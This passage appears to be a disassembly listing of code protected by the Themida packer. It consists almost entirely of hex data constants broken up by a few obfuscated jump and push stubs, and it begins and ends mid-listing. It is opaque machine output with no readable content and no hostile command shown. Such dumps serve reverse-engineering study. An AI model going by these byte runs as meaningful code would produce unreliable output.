25D26BB1h, 0B74B0D73h, 0AB1111E1h dd 7325D26Dh, 73DF4507h, 0EB7F814Dh, 30F6C6CAh, 5B43685Eh dd 5D30D0F5h, 8366CC38h, 0F5790D1Fh, 824AC533h, 0EBC6AA2Dh dd 33234h, 0D03D400h, 0C0BE8C90h, 71733F43h, 281EF0F4h dd 0DCDAA7ABh, 0BF0E5C5Fh, 7377F4F2h, 292DAAA4h, 0DBDF5C5Eh dd 6E94110Bh, 0FBA078DEh, 1D4795Dh, 0AE80A68Ch, 17AB93B8h dd 49AD7141h, 0EDF35F81h, 0A8486DD3h, 1A14E4D5h, 0D3E248B4h dd 15755B0Bh, 4ECA4289h, 1F4F8855h, 0A89A52E2h, 0C13EA48Ah dd 1BBBAh, 92E5C100h, 9A062F02h, 9304D43Ah, 6E307F73h dd 5564CADAh, 9F755B86h, 0D13151DDh, 5B9EAD6Bh, 3AD4F79h dd 9E28D3Fh, 0E5FB8F51h, 6C181EF3h, 9DBCC9Fh, 6F3AEE13h dd 0FA60486Dh, 94047ECAh, 0E74E0FCh, 13953CA2h, 0CD8F8E3Eh dd 103508A8h, 0A4223EA4h, 844674D3h, 5C22F218h, 81698E90h dd 7A0EF61Bh, 7A74446Ah, 6329F9FDh, 89719698h, 0C440B523h dd 0D1ACBFEAh, 2521Ah, 2D23F400h, 0E0DEACB0h, 91935F63h dd 483E1014h, 0FCFAC7CBh, 0DF2E7C7Fh, 93971412h, 494DCAC4h dd 0FBFF7C7Eh, 8EB4312Bh, 0FB4098FEh, 21F4795Dh, 4A10E0ACh dd 0F51A807Ah, 0F5618255h, 0A1A36F95h, 0A97CF70Dh, 0DC9E755Bh dd 7E16605Fh, 0B81E8AABh, 7373AF81h, 7FA531F3h, 1C5DC7Ah dd 2A96BF92h, 0BDF58D06h, 2658CB7Ah, 50385D57h, 9F46ACBCh dd 99EE6926h, 79456BD7h, 768C4777h, 0FCBE9C40h, 51B19F68h dd 4D489B2Dh, 0B224C0CEh, 0DE29316Ah, 0F6B84C0Eh, 72960223h dd 5B2DE903h, 28584065h, 34C878D0h, 3E64C424h, 664E7371h dd 296224F4h, 0FA8E50DEh, 49588E4h, 0BE2AECD4h, 4098FE5Eh dd 7AD8F5F3h, 0A38BB0AAh, 918F5DEBh, 0F1C1972Bh, 0C52B8BF7h dd 0D8F5F317h, 0AACB5F21h, 5B6D486Ch, 0A3D3D19Fh, 0AF150243h dd 0D8F50B69h, 4FE3490Bh, 41AFA979h, 1FD56CC2h, 549C532Eh dd 0F6000001h, 0AEB22F25h, 6165E2E0h, 12169395h, 0C9CD4A40h dd 7E81FEFCh, 1614E1D0h, 0CCC69599h, 7E804B4Fh, 332DFD01h dd 9A0090B6h, 795DFA42h, 0E0AE23F6h, 51F11610h, 83E9557Eh dd 755BB1D4h, 0B61F9C5Eh, 980421F4h, 216E0232h, 389E6675h dd 795DF6E0h, 6CD294h, 0A4100ADAh, 90B5AF7Eh, 0EFF314A8h dd 6000251Fh, 9CFC688Dh, 10DCAA76h, 9B01E90Eh, 0BD5F107h dd 7537730Fh, 1913E309h, 582A89ADh, 0D013F436h, 0B7DD1B3Ch dd 16C8EDE7h, 0C960384Ah, 45D93F2Ch, 80A59F6Fh, 7CE80DE0h dd 7DDB716h, 0B11FE179h, 0AAD77A48h, 0A402B994h, 46000000h dd 0FE027F75h, 0B1B53230h, 6266E3E5h, 191D9A90h, 0CED14E4Ch dd 66643180h, 1C16E5E9h, 0CED09B9Fh, 837D4D51h, 0EA50E006h dd 795DF932h, 0F4FE7346h, 32980421h, 75216E18h, 9E8AA4C8h dd 91B12F3Ch, 32FB1E61h, 0B4485564h, 0BD719658h, 5187EDEDh dd 0E3795D86h, 3A3EBB21h, 574B706Ah, 0AAAEC6EAh, 0B137F068h dd 666AE7E1h, 89779C96h, 4615C329h, 5D1F4A89h, 2B21F3C9h dd 0EDA63A06h, 1D19767h, 96F6D3Bh, 522226A3h, 147C3358h dd 83000000h, 0E1056587h, 0C6F70249h, 0ECE4073h, 2A7F7384h dd 0E099D468h, 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h dd 5B7868h, 24148900h, 3C7468h, 243C8900h, 8904EC83h, 5152242Ch dd 88713B68h, 0D1F75940h, 7C40E981h, 0CA896E3Bh, 7830BF59h dd 0D729576Ah, 6535685Ah, 24890000h, 24048124h, 4, 0B951505Dh dd 8, 159C889h, 583889E8h, 5D2434FFh, 8B04C483h, 8952243Ch dd 4C281E2h, 81000000h, 4C2h, 24148700h, 1407E95Ch, 0C794FFFAh dd 0F0C17DBh ; --------------------------------------------------------------------------- clc loc_5AFF21: ; CODE XREF: Themida_:005AF8B0j mov eax, 62E6B63h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0AB2Eh dd 67647D43h, 0A34622E7h, 0A8E35C55h, 0AAA85B01h, 0DE875ABh dd 0EB000000h, 0CFB3A0C9h, 0D50F1FEFh, 95360899h, 512FC281h dd 0F5F585Ah, 0C781F7B7h, 6C17h, 0AE9h, 0C266D100h, 0CCF7C10Dh dd 2BC75CA0h, 63D681C0h, 8B75AC45h, 0BE66070Ch, 0E981C061h dd 0A83C5AAh, 9BE981FCh, 0F42AB6Ch, 80h, 40E98100h, 0F5E446Ah dd 8051F2BFh, 48F40F6h, 0E6816607h, 0BF0FFC8Eh, 0CE881DAh dd 0F511E6BFh, 0BF08C081h, 820F11E6h, 5, 0DF53DEBEh, 70F8813Ah dd 0FFFFF94h, 0FFFFAA85h, 35E9F5FFh, 0DE000000h, 648595h dd 0Ch dup(0) ; --------------------------------------------------------------------------- jmp loc_5B04F9 ; --------------------------------------------------------------------------- push 62E6DEBh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E6E67h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E6FD1h jmp loc_551321 ; --------------------------------------------------------------------------- db 0FAh dd 0B2B63329h, 6569E6E4h, 161A9799h, 0CDD14E44h, 82850200h dd 1A18E5D4h, 0D0CA999Dh, 82844F53h, 37310105h, 9E0494BAh dd 795DFF7Eh, 0A6B227FAh, 1FB3B580h, 12787C49h, 7F7393CAh dd 2146AC6Eh, 26A39D6Dh, 0D6426336h, 5B80FD70h, 0A50B6B75h dd 795B8077h, 4FAB3F01h, 0A074688Dh, 1B795B80h, 6E1CA1C5h dd 475F69B4h, 0B5494715h, 0FA7FFCB5h, 0BCC1595Bh, 31Fh dd 0B580A6E9h, 74A68EB3h, 9E86ABA5h, 1230390Ah, 938C4CB2h dd 0E6A87F73h, 98BD9052h, 91A8CC2Ch, 9CE43DBEh, 5344ADEh dd 0BB755B71h, 0A5CAC895h, 978B51B7h, 0EBAD795Ah, 0D395F185h dd 69662147h, 0CFA26431h, 44143AA6h, 0E83C5680h, 6DD3D655h dd 8463C9D9h, 3A76D501h, 7DE6ED16h, 58EC3816h, 75153AFCh dd 0AF1581A2h, 7CED6536h, 0C6269254h, 0B2D7D1A0h, 0CDCB98CAh dd 99936339h, 4E48181Ch, 8D9111E0h, 0BC29DB7h, 2F3h, 0B12E24F5h dd 64E1DFADh, 15929460h, 0CC493F11h, 80FDFBC8h, 13E0D17Dh dd 0C5949815h, 7F4A4ECBh, 2CFC007Dh, 0FF8FB532h, 5DFE4399h dd 0AD22F579h, 465382A6h, 897B8DFFh, 436033F5h, 81DD71D7h dd 658B7521h, 0AA069A98h, 0BC884A1Ch, 47AD95BAh, 68D43A22h dd 0FA777542h, 62B29F6h, 740AF418h, 0D875AC1Ch, 11A50B0Dh dd 5C86C6FBh, 1812E279h, 7CEA91AAh, 0CB825DBEh, 277h, 35B2A879h dd 0E8656331h, 991618E4h, 50CDC395h, 4817F4Ch, 97645501h dd 49181C99h, 3CED24Fh, 0B0808401h, 831339B6h, 5DFDFF1Dh dd 31A67979h, 98FE21F4h, 7F739340h, 60C632F4h, 7F7393B8h dd 2894FABCh, 21666CC2h, 0A9CE9075h, 5DFF63B5h, 0E2065C79h dd 0E1879EAh, 0D6D66A01h, 0AFD9A01Dh, 0B0DDC15Fh, 0A000001h dd 0AA1610E0h, 24B8B684h, 13D7A75Bh, 40D30FA1h, 0DB58BE4Dh dd 8FF518EBh, 7F738649h, 57C329EBh, 5B87E6F1h, 21460875h dd 5B85EB2Dh, 5A7ED479h, 7869C3D9h, 0DEDE72BBh, 0EAD1A825h dd 52E5C159h, 3D000000h, 54A177DDh, 11D3795Bh, 54993FA5h dd 0D99B795Bh, 21F40A45h, 0A6729804h, 65977FA4h, 0F6069A98h dd 5BBE0990h, 44692B75h, 5B868C50h, 0F8B1F779h, 5943FE7Bh dd 507094C1h, 110FDC15h, 5BD404ECh, 83E9552Ah, 795BA955h dd 9D891DDFh, 0D5h, 1610E0CAh, 365786AAh, 0C3F1203h, 2EFBAF78h dd 0DE14C42Ah, 5E207F73h, 4F1FD3F8h, 9BC0BA89h, 74284DB3h dd 0E33EE0A4h, 0BCE33CD0h, 0F8C4EA56h, 55E9D1F6h, 0F12F034h dd 28F87F73h, 0EEC1B12Eh, 6B3559C5h, 76B27D4Bh, 1EBE2490h dd 1A7F7395h, 4EB4C458h, 755D36C1h, 8FB521E3h, 4347C4C2h dd 270A7876h, 0B3BE7956h, 10D21D8h, 3E0F0000h, 0F9C7CB48h dd 0AE7A7EFBh, 592B2FACh, 15E2E663h, 0CB979A17h, 0B22F2DFAh dd 68E5DFAEh, 1A979964h, 0CF4C4616h, 65B319A9h, 0F795DFCh dd 13E0C73Ch, 587D7B49h, 0E0724070h, 0EE2A728Ch, 56BC1C88h dd 7F73C186h, 1E84F0B2h, 7F73C1FEh, 324B87Ah, 0E927A1C5h dd 0EDBF0D59h, 0CC6E3CBDh, 0C65A1856h, 0A92620F0h, 0B580A640h dd 79491FB3h, 0D6A65A7Fh, 0E2483E10h, 81A27565h, 44C3AF15h dd 0C7ED755Bh, 0EDD5FAFCh, 0CF3BFD59h, 61DEDCA9h, 342EFD23h dd 0DC568AA0h, 0A070795Bh, 582529A6h, 0F117BD90h, 4FB55A35h dd 61732Ah, 0F47A0000h, 32980421h, 75216760h, 691D4204h dd 1E229F99h, 0BCBA884Eh, 0F2C4EA56h, 0AB9F68FCh, 0DFF1829Ah dd 0A127E058h, 565AD7D1h, 0B3678C86h, 597FEBE1h, 31FA8E8Ch dd 90B5AB7Dh, 0EE130DDCh, 33EDA60Ah, 169C55E9h, 0B5B38046h dd 0FECED24Fh, 62749804h, 0C63A14F7h, 22D9A236h, 3, 0E03A8729h dd 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h dd 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 22C568h dd 243C8900h, 0C781E789h, 4, 8704EF83h, 565C243Ch, 0C681E689h dd 4, 4EE81h, 34870000h, 4895C24h, 0E1895124h, 4C181h dd 0E9830000h, 240C8704h, 240C895Ch, 707E97B8h, 8E8C134h dd 0A57CED25h, 58BB5333h, 43012916h, 8102EBC1h, 40491CEBh dd 5BD801FAh, 4EC81h, 24890000h, 24048124h, 4, 4EC8159h dd 89000000h, 8BA2414h, 1000000h, 5A0289CAh, 592434FFh dd 8B04C483h ; --------------------------------------------------------------------------- add al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_551321 ; --------------------------------------------------------------------------- db 0A3h dd 0FF5A9089h, 712F27FAh, 51AA1042h db 0A3h ; --------------------------------------------------------------------------- loc_5B04F9: ; CODE XREF: Themida_:005B0008j mov eax, 62E7103h add eax, ebp jmp eax ; --------------------------------------------------------------------------- retn 3842h ; --------------------------------------------------------------------------- db 61h, 22h, 1Dh dd 0D08F2125h, 69EF4A86h, 18E90348h, 0BD000000h, 750F8Eh dd 4 dup(0) dd 0E9000000h, 5CAh, 0AD2A20F1h, 60DDDBA9h, 118E905Ch dd 0C8453B0Dh, 7CF9F7C4h, 0FDC2D79h, 0C1909411h, 7B464AC7h dd 28F8FC79h, 0FB8BB12Eh, 5DE24795h, 0A91EF179h, 0AA1610E0h dd 23B7B984h, 0DBD9A65Ah, 7C7E496Fh, 0BADB6F57h, 0C7ECE6B6h dd 24494313h, 0C0DAA270h, 0AC6F724Bh, 0D5FB67CDh, 0B0790D03h dd 926230FCh, 258B7398h, 847A4C00h, 540D855Fh, 11CA429Ah dd 0E1F7BB8Bh, 39199B87h, 8E920F75h, 0F928F7C3h, 63888252h dd 0CF274B7Bh, 0A0A42187h, 0C0AED3D5h, 1D0A699Ch, 65F9A199h dd 0A1C6C08Fh, 0FC211FEDh, 557A7C48h, 0B63CF589h, 3D87EDE7h dd 9F6AF0A9h, 9F0503D1h, 0E9510F33h, 0C830660Bh, 3F0F1334h dd 0E92C2045h, 2D7F73A7h, 0BD5BC121h, 0B77F73A7h, 0A86161F5h dd 0CC9BC4E8h, 500C4E2Bh, 8D8AEFBCh, 952CBB31h, 59000000h dd 0AFB380A6h, 73939349h, 7DE3A57Fh, 6DC7058h, 23173C36h dd 7F7393F3h, 0C4F31723h, 2AD7702Ah, 4BDBD51h, 318EF287h dd 0AC7AA0BBh, 0F01517E2h, 957DA208h, 11501h, 0A6420000h dd 0E8435882h, 3AF02016h, 542ABED0h, 0AF638886h, 0D0BEE3E1h dd 0BCE1DBAAh, 986A40D4h, 0DC4206D6h, 6D3FF667h, 501D4FB5h dd 0EDC7EC52h, 6836BC75h, 174D67A0h, 1B9F050Dh, 544B7B60h dd 1FFD8037h, 0DC685E91h, 55931076h, 3161632Fh, 3ED86EC8h dd 5026BA09h, 0A0098680h, 0F01513E0h, 4B706E3Ch, 0A72DE684h dd 4A70DCDAh, 70587D7Fh, 0DE72703Eh, 0B15B7FBDh, 7BA10714h dd 0FD7F73E5h, 78CA0B3Bh, 0A4A672A4h, 2D03977Fh, 8A3E635Dh dd 2224F0BEh, 4EA497BCh, 2B5D5B28h, 543C615Bh, 8A07C0C0h dd 0BB3130FFh, 7DB7h, 13E0E400h, 0DC02F015h, 3EB100Eh dd 0CBCD996Fh, 2044CCA6h, 83B0601Eh, 5151E50Eh, 47451298h dd 7A688CCAh, 62D99464h, 20EDC357h, 0E90FFD22h, 0B48A1E1Ch dd 0D4C7ECE2h, 3158D58Eh, 85BB314Fh, 5Ah, 0C082A6B2h, 0C1F2D28Bh dd 936036CAh, 5C827095h, 29FF938Dh, 0C5C3905Eh, 5264EEA0h dd 6330E1F6h, 8D7297FDh, 5E28F51Bh, 972B9193h, 8B58DE97h dd 13DD3C3h, 6FD50175h, 82A689F2h, 750DF475h, 8359ED8Ah dd 9E92B7B5h, 7F734B7Bh, 6DEAA39Fh, 0BB32070Ch, 1AAh, 14E0D700h dd 9376A60Ch, 40027F73h, 3101B5DAh, 905E1237h, 5506C9C8h dd 349ACF18h, 8E905B0Fh, 68218569h, 17D064AEh, 0A4F9C591h dd 0A5AADCC6h, 5343C026h, 91F76380h, 755B5946h, 4D0126E8h dd 206837Dh, 1F133832h, 795B4FFFh, 31B770D2h, 0ACEA6761h dd 98BDB786h, 76461CB0h, 0D3A3577Ch, 1E433D0Dh, 0E4ABD036h dd 44421036h, 0E7D0CF14h, 58ECD0EAh, 49199F58h, 5A35E349h dd 7D3F795Bh, 0DA9F9A17h, 0DCC159F8h, 160h, 42400E34h dd 66A1351Dh, 0EB7C82A6h, 0C67C6E16h, 0A5CAC494h, 946729BDh dd 0A9D036Fh, 6C755BA6h, 1D185AAh, 0B6868A07h, 13E397BCh dd 45AD84Fh, 9BCDD653h, 0C4ACD1CBh, 0D472395Eh, 9BFB5B1Bh dd 5A05E735h, 5DCF9179h, 795A05BFh, 605E2BB9h, 0C178CAFAh dd 6B21F1AAh, 373101D7h, 92BABFBAh, 46FCC15Ah, 29000000h dd 96021FF4h, 9308D036h, 6A2C7F73h, 496E6838h, 5DBDCD61h dd 60695039h, 0CE62A666h, 734D40B8h, 0C1A834FFh, 13ABCD0Ch dd 887CA107h, 0FF731450h, 0AB1DD63Ah, 0E74DB9D6h, 7F731411h dd 1D24A163h, 0B4h, 421F424h, 72D83898h, 7F7393AAh, 429A0CCEh dd 0F67F7393h, 3090A034h, 93B26AD0h, 4C67F73h, 0B4875A70h dd 0DF05755Bh, 7C764614h, 75096F57h, 7E325719h, 1C1AE8AEh dd 2CA90FF7h, 66945828h, 1BA0034h, 963B6E9Eh, 8AC2EEFh dd 48897DA2h, 3F795B24h, 0CE9E24DDh, 0B91957D4h, 5B248553h dd 4795FB79h, 0F1795B24h, 39EB772Fh, 0E154EB39h, 0ED064CAh dd 88AE1A3Bh, 0E496BBBDh, 16E60130h, 14A80E7Ch, 41489E04h dd 9E2C7309h, 0C4ACD1D3h, 254B395Eh, 4B33585Ah, 1711E1B7h dd 5C8226F2h, 866E938Dh, 0C739F2F2h, 0FD63CFF4h, 7977F3E9h dd 0E34CC98Bh, 0B7B180A6h, 5416AA92h, 92F86481h, 7521617Ch dd 797B466Ch, 7CD86C54h, 11E195BAh, 0C6969A17h, 0E1B860C6h dd 7042795Dh, 0B56D557Ah, 74688DF3h, 0EE7BE81Fh, 4F672BFBh dd 0B093FDC3h, 30E4096Fh, 7A416660h, 116923DCh, 8A5AE099h dd 3F0F1390h, 9A6C2045h, 0FFCB7FA4h, 5524D8FDh, 5129EF55h dd 894B0623h, 0AC24FE23h, 5BEF39F3h, 0ECBCE2A2h, 0B8885EF2h dd 6D3D41BEh, 25974E73h, 9E000000h, 38E046A6h, 3C7F7393h dd 93CE0E74h, 0A86A7F73h, 5D7FAE42h, 410CAF39h, 0D4A5A26Bh dd 7B9ECEEFh, 0A45D9BDh, 0F4190FE0h, 51767040h, 0ABD0D29Dh dd 92E28F7h, 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch dd 0D4F9F7C5h, 0E78957FFh, 4B850h, 0C7010000h, 4EF8358h dd 5C243C87h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68240489h dd 2A2Eh, 0B8243C89h, 4CDD0D6Dh, 82212005h, 91BD5529h dd 0F7277440h, 0BBE581D5h, 0F73EED2Bh, 0E3CD81DDh, 81272857h dd 5C7AA1EDh, 5DE829C9h, 49247A25h, 71DD3541h, 0CF684626h dd 89000039h, 4812424h, 424h, 8B685F00h, 8900005Fh, 0C6892434h dd 5E087789h, 57243C8Bh, 0C781E789h, 4, 4C781h, 3C870000h dd 34FF5C24h, 0C4815824h, 4, 0FA082CE9h, 0D530A7FFh, 7E2E3EA4h dd 0CB85BE8h, 3062E77h, 0AAE0FFC5h, 8E45B894h, 55592979h dd 0C12FE776h, 0EF274ED9h, 0B1261D33h, 0EB7CF817h, 802F0F47h dd 8D25949Ah, 2E79098Dh, 158D8906h, 6A062807h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0DD68C350h, 0C9D0BDEFh, 5F54232Fh, 0E9FEBF0Fh, 0Eh dd 0E6A1A6h, 725CFDE8h, 0D6F8C4BAh, 85C7B2C0h, 62821BDh dd 65ECh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0B4C35545h, 0F21C370h, 0F104ECC7h, 7BF2817Bh, 81092468h dd 7A5721F3h, 3D85C76Ah, 62811h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4196C351h dd 0AA1B6219h, 0B5FFF6CAh, 62801BDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 12C35141h, 5054464Fh, 5AE68166h dd 0FBB70FEBh, 14D995FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0B2A790C3h, 33E5FBAAh dd 0AE9BE2Ch, 0BF000000h, 17C28017h, 72F442ADh, 15B86622h dd 89858B16h, 6A062825h, 6595FF00h, 8B062804h, 538EBC0h dd 9449B2Eh, 0B052E7A1h, 0AE658F98h, 0F448C6EAh, 931DCE0h dd 880D33F4h, 0AFA9BCFDh, 9A8F470h, 935B822Dh, 549C066Ch dd 75B7AF66h, 0ADBB61BCh, 14B8A1Eh, 0E8EE8AD3h, 6, 77DF2173h dd 0BE66D63Dh, 0F594A2Bh, 38Dh, 0F2BF0F00h, 6FD7C181h dd 9D0B0000h, 6282D4Dh, 68h, 858B5A00h, 6280CE9h, 890A34FFh dd 28034585h, 0BB665F06h, 0C781BDE5h, 3C1EF919h, 13719D29h dd 0C7810628h, 323622C6h, 17B59D01h, 0C7810628h, 14ABF63Dh dd 0B52357F5h, 62824A9h, 0E911048Fh, 7, 9723A0D9h, 0FFAF1D5h dd 282h, 8391B400h, 0F08104EAh, 4499B98Dh, 90BCFA81h, 850FFFFFh dd 0FFFFFFA0h, 0F6816660h, 50534EE9h, 5361585Ah, 5DB17DF0h dd 0AEB137BFh, 0E43F1256h, 0AB490A8Bh, 0D5B37756h, 7BDB3256h dd 63C984D2h, 0AB4965Ch, 5DB109C3h, 0AB58CE56h, 1EB13256h dd 903474F8h, 0D7F4007Eh, 0E5D1CA56h, 75B137D4h, 0A148A56h dd 0E4E1662Ah, 0B0E2067Fh, 57B1530Fh, 0ABB13ABFh, 283DC956h dd 7B3A60CEh, 9CB132EDh, 0BAB1325Fh, 9F97C4B3h, 0A508E81Bh dd 0AEB132B7h, 22BE3256h, 0D5B13253h, 280E3D36h, 2F92FC37h dd 0BAB13256h, 2F1C971h, 7B4302D8h, 570CC3B8h, 64D05256h dd 0D5B169B5h, 0C2393256h, 0EEC0345Dh, 0DAB132D7h, 0D456B330h dd 57063D9Bh, 58B13237h, 0ABB13ED9h, 380A5256h, 8CAE0467h dd 0D087D8D7h, 42B13237h, 4D583256h, 56B13256h, 0AF6CC1B1h dd 34E79C8Fh, 6A832EBh, 0EA85CA94h, 0F4D75256h, 0DC7EF79Eh dd 942ED1D7h, 0A1B13237h, 57B133D3h, 0ABB1CB56h, 0D5B13FBFh dd 134BA356h, 0F1F049DAh, 81E56D30h, 54582577h, 21B13256h dd 0AE839E7h, 64441B93h, 5FBE3256h, 0EAB13257h, 15B132A3h dd 0E40B330h, 5D48535Ch, 27BE5256h, 57B13250h, 0ABB1BA59h dd 5ED73256h, 0EAB15381h, 75B126BFh, 8A5B9A56h, 5F2C2E88h dd 78BBEACBh, 8A53D8F4h, 8318C87h, 0D5B1C733h, 0EAB121BFh dd 10D21556h, 88A9D6Ch, 0BB46880h, 2A9BE812h, 0A45587h dd 23BE3256h, 0D5B13244h, 0EAB13FBFh, 483B3256h, 690F101Dh dd 7FDAF36Fh, 0AEB155C8h, 57B137BFh, 0BE325956h, 0D5B19A2Dh dd 0EAB0BC59h, 154D3256h, 0B5D0C736h, 5DD0ECE1h, 0AEB1C756h dd 0DCBE52AFh, 0ABB13250h, 69AEE1D7h, 5DBE29F0h, 75B1539Dh dd 0BAB9B859h, 0DBBE3256h, 0AEB13254h, 57B15336h, 0ABBCDB36h dd 94C3256h, 0F1CD1D6Ah, 0F90004AAh, 53E29765h, 5DB13244h dd 87D74485h, 0EEF5F946h, 8345C29Bh, 0C8429561h, 16D05D18h dd 0CFD13256h, 87654781h, 5DB5B259h, 11D73256h, 57D06E6Eh dd 0A3353D56h, 0B5B13256h, 1A8B8D30h, 77D06B01h, 0B5B13256h dd 0D6D7C4E9h, 0AEB15397h, 57B9BA59h, 2ABE3256h, 0D5B13254h dd 0ED665336h, 75B53251h, 0BAA3324Ch, 5DAD3270h, 0AEBD30D8h dd 0DFDA3256h, 519B0A4Dh, 0E16DC7F2h, 8CD13BE4h, 0E108CADDh dd 0DBAD41F1h, 56583256h, 82B13256h, 0AE5C16D5h, 0AF792FCBh dd 0D5B1BF9Bh, 0E20B5436h, 0EA42B3C2h, 0DBA6661Eh, 53583256h dd 0F0B13256h, 6BCCA053h, 0B0B5DC28h, 0A8E97DB2h, 8AB1326Ch dd 75B4B759h, 0E60F3256h, 0B4F22629h, 0AEB1325Fh, 0CE244CF3h dd 0CF80631Eh, 0D5B15315h, 50AA8036h, 4D405D1h, 43B13237h dd 5DB13CBFh, 271C4E56h, 8C9F771Ch, 0E6ED347Ah, 0D589F912h dd 6CB37B56h, 75B13244h, 0BAB13FBFh, 0CAF1B156h, 1990693Eh dd 8FD33691h, 0ABB1FDDFh, 0EF4F8D36h, 3A303318h, 77BAC276h dd 0F3B13237h, 5DB13254h, 1C1A1050h, 0A3EA9F30h, 8DE725C3h dd 0D5C13974h, 0F4353D56h, 15B13256h, 2F86DBECh, 5DA0DA7Fh dd 5D2E3256h, 6F103223h, 0EDF4C016h, 8B9708F4h, 0B4298432h dd 0CDD1A237h, 965116BBh, 5DB4DBCAh, 0C0583256h, 0D714AE59h dd 0AD58BAB2h, 93B13256h, 38EC0651h, 25D0AFF5h, 0BABBDA36h dd 469B3256h, 5947A3EEh, 0C433FF32h, 0ABA2DBCAh, 295E3256h dd 2BAE8D3h, 0E1569457h, 0BA32006Bh, 716E4C6Fh, 0AEA1DBA3h dd 26A93256h, 675E500h, 7C8141B4h, 8FEDFD78h, 2D2CD96Ch dd 2AD0DDDCh, 0B421530Eh, 0B2D3D38h, 51580359h, 0EDB13256h dd 7EC0651h, 0B0E968F5h, 6158620Eh, 76B13256h, 0E5AA1843h dd 0CA46C4C7h, 8722B09Bh, 575EFC9Fh, 46BAE8D3h, 61B13256h dd 1297B33Eh, 0B9038F42h, 24F8BD6h, 9FBE47FAh, 57B134BFh dd 0EFE6E456h, 8F42507Bh, 3B16A0Eh, 75B13259h, 0ECC02AADh dd 0BF1CF681h, 80180225h, 0DED46E99h, 42B51612h, 0D5B13250h dd 0F745F550h, 44E951C4h, 0E8E16006h, 5EB0359h, 0FCE10359h dd 0FEB0359h, 0F3EB6A0Ch, 0D19576DFh, 0B4066436h, 0B30E540Fh dd 0ABE9537Fh, 88B13256h, 0FFC9E9BCh, 0DA9585E0h, 22216114h dd 900D9DD8h, 0DBBE6A0Ch, 27E16006h, 0E2EB0359h, 3CD10359h dd 0F6EB6A0Ch, 8F6940Eh, 163F70D9h, 5DBE2E2Fh, 0EAB13247h dd 75B13EBFh, 56087756h, 8565F6C0h, 0ABC2D76Dh, 0BEB13203h dd 0ABB1325Ah, 5C65F163h, 97A4E7B5h, 79744C03h, 53483256h dd 5DB1325Fh, 163CCACh, 77AF91B5h, 0CBB1323Ah, 2C4AB930h dd 12B13237h, 0F5BE3256h, 0BAB13244h, 5DB13FBFh, 4B07E956h dd 64C25996h, 0E2AFF814h, 0D544463Ah, 0EAB1CA56h, 7AB132A3h dd 0BAB135D8h, 5C373D56h, 57B13256h, 47583256h, 0A1B13256h dd 4F92B61h, 7E92DD35h, 66A6FAE0h, 0BA0E9ACCh, 5DB1C756h dd 0AE92BB59h, 0BED13256h, 0ABB13251h, 9DCCF40Fh, 3FA9E83h dd 75B13246h, 4DC1FADFh, 5A77A163h, 96A99780h, 6A56B057h dd 0A4B13237h, 0D5B133D3h, 0EAB1CE56h, 75B7B759h, 0DAD13256h dd 3C64B837h, 0AE4D3256h, 57B8DB56h, 0D0FA3256h, 7E8A0460h dd 0EA0936C3h, 72333D56h, 0DAB13256h, 0D688D59h, 0AEB15308h dd 57B0B059h, 0AB443256h, 0C6585256h, 0A6B13256h, 0B4608469h dd 0A0788705h, 121B3C21h, 493CFB18h, 8E30BAD8h, 9A85F40Ah dd 0C5303D37h, 3B13256h, 75B1325Dh, 11DB5835h, 92CDD1ECh dd 0AED8C4E8h, 57B8DB56h, 3A253256h, 3149A0D8h, 3B2E01Ch dd 75B1325Fh, 0AE874BA1h, 46D73ABFh, 0CEB13278h, 57B135BFh dd 77F89C56h, 0CF697F9Eh, 0EABDDB37h, 9F3E3256h, 0A2CA177Bh dd 3B7B0868h, 0AEB144A3h, 57B0B859h, 0AB483256h, 0D1363D56h dd 8AB13256h, 75D0F0DDh, 0BAA5DB56h, 0EED93256h, 4B28321h dd 1944FC34h, 40D33B41h, 0EFE791CDh, 0EAB1EDE4h, 0B43A5436h dd 53B13237h, 5DB13251h, 64936D52h, 570210A8h, 0ABB1CA56h dd 0D5B6B359h, 0B9D13256h, 820E3D0Ch, 43B13237h, 5DB122BFh dd 0DF414256h, 6B2C4C8Bh, 95DD3948h, 0D656FAF0h, 8AB13296h dd 8DD13DE6h, 0DBD04AE2h, 3BD13256h, 0A19B58E9h, 58D0E9E9h dd 0ABB133D6h, 0D5B1CB56h, 8AB132AFh, 0F34FC1D7h, 0A85852AAh dd 13B13256h, 0D21ED7C9h, 975F10CDh, 204D4C8Ch, 608ABADDh dd 0EA4D5317h, 75B1CA56h, 46B132AFh, 0B4B132A3h, 0AEB1325Bh dd 60330311h, 0C7D4F7F7h, 2177DC86h, 16B13280h, 0CAD13256h dd 0DAD6AA50h, 5DB7B659h, 2CBE3256h, 57B13256h, 42B13237h dd 0D5B13250h, 0A6CA5B5Dh, 75B1D08Ch, 0BAB13FBFh, 51F00156h dd 8787B647h, 0A285E756h, 0ABB160BAh, 2CB132AEh, 0EA483256h dd 7AE35256h, 0BAB132D9h, 0AD306856h, 0EC1A2A6Bh, 0AEB13237h dd 0A4D13256h, 0D5B132D5h, 0E83C3D56h, 15B13256h, 0BAB15337h dd 0A8B132AEh, 0C8D13256h, 0BECEA9ECh, 0ABB1325Fh, 9060400Bh dd 481BF135h, 75B15320h, 0BAB13EBFh, 242FEE56h, 43CBC029h dd 2AA0A5A9h, 52B1322Fh, 0DAD13256h, 6BD7E2E1h, 148B96B0h dd 46493256h, 0DBBE3256h, 0AEB13257h, 37B132A3h, 6131C5DCh dd 0C1585392h, 0FB13256h, 0D0066DA9h, 223E27B9h, 8EF34002h dd 0E43BF50Bh, 57A77BCEh, 0BC353D56h, 0DAB13256h, 0EAB123D4h dd 